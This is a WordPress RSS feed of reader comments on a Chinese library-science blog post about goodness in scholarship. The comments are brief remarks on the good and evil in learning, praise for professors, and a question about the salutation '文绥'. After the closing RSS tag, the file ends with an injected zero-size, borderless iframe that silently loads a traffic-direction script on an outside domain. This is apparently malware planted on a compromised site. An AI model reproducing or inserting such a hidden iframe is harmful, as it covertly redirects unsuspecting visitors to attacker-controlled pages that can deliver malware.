<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>《善心与善学》的评论</title>
	<atom:link href="http://www.mingzhiguwen.net/archives/1844.html/feed" rel="self" type="application/rss+xml" />
	<link>http://www.mingzhiguwen.net/archives/1844.html</link>
	<description></description>
	<lastBuildDate>Mon, 26 Dec 2011 03:02:12 +0000</lastBuildDate>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
	<item>
		<title>作者：南苑图情</title>
		<link>http://www.mingzhiguwen.net/archives/1844.html/comment-page-1#comment-5059</link>
		<dc:creator>南苑图情</dc:creator>
		<pubDate>Thu, 01 Jul 2010 15:22:18 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/?p=1844#comment-5059</guid>
		<description>文绥应该是见文安好之意吧，是一种问候语</description>
		<content:encoded><![CDATA[<p>文绥应该是见文安好之意吧，是一种问候语</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：超平</title>
		<link>http://www.mingzhiguwen.net/archives/1844.html/comment-page-1#comment-4963</link>
		<dc:creator>超平</dc:creator>
		<pubDate>Sat, 13 Mar 2010 12:39:36 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/?p=1844#comment-4963</guid>
		<description>老槐 12分钟前
叶教授关心少儿图书馆是浙江图书馆事业之福，浙大还有关心弱势群体的王素芳博士，李教授终于不再孤独。</description>
		<content:encoded><![CDATA[<p>老槐 12分钟前<br />
叶教授关心少儿图书馆是浙江图书馆事业之福，浙大还有关心弱势群体的王素芳博士，李教授终于不再孤独。</p>
]]></content:encoded>
	</item>
	<item>
		<title>作者：超平</title>
		<link>http://www.mingzhiguwen.net/archives/1844.html/comment-page-1#comment-4962</link>
		<dc:creator>超平</dc:creator>
		<pubDate>Sat, 13 Mar 2010 12:06:10 +0000</pubDate>
		<guid isPermaLink="false">http://www.mingzhiguwen.net/?p=1844#comment-4962</guid>
		<description>在本博的另一个家里的评论：

 Keven 20小时前
学问当然也是有善恶的，尤其是社会与人文学科。善恶的界线不很清晰并不可怕，可怕的是故意（有目的地）混淆这个界线。

 图林老姜 11小时前

 西北老汉 7小时前
学问本有善与恶，学问人更有善与恶。同意你的观点，斋主本是一善人。当然，还有许多善良的学问人，比如某某、某某、某某们。

rizhaokfc 2小时前
证书左中“文绥”何意？</description>
		<content:encoded><![CDATA[<p>在本博的另一个家里的评论：</p>
<p> Keven 20小时前<br />
学问当然也是有善恶的，尤其是社会与人文学科。善恶的界线不很清晰并不可怕，可怕的是故意（有目的地）混淆这个界线。</p>
<p> 图林老姜 11小时前</p>
<p> 西北老汉 7小时前<br />
学问本有善与恶，学问人更有善与恶。同意你的观点，斋主本是一善人。当然，还有许多善良的学问人，比如某某、某某、某某们。</p>
<p>rizhaokfc 2小时前<br />
证书左中“文绥”何意？</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
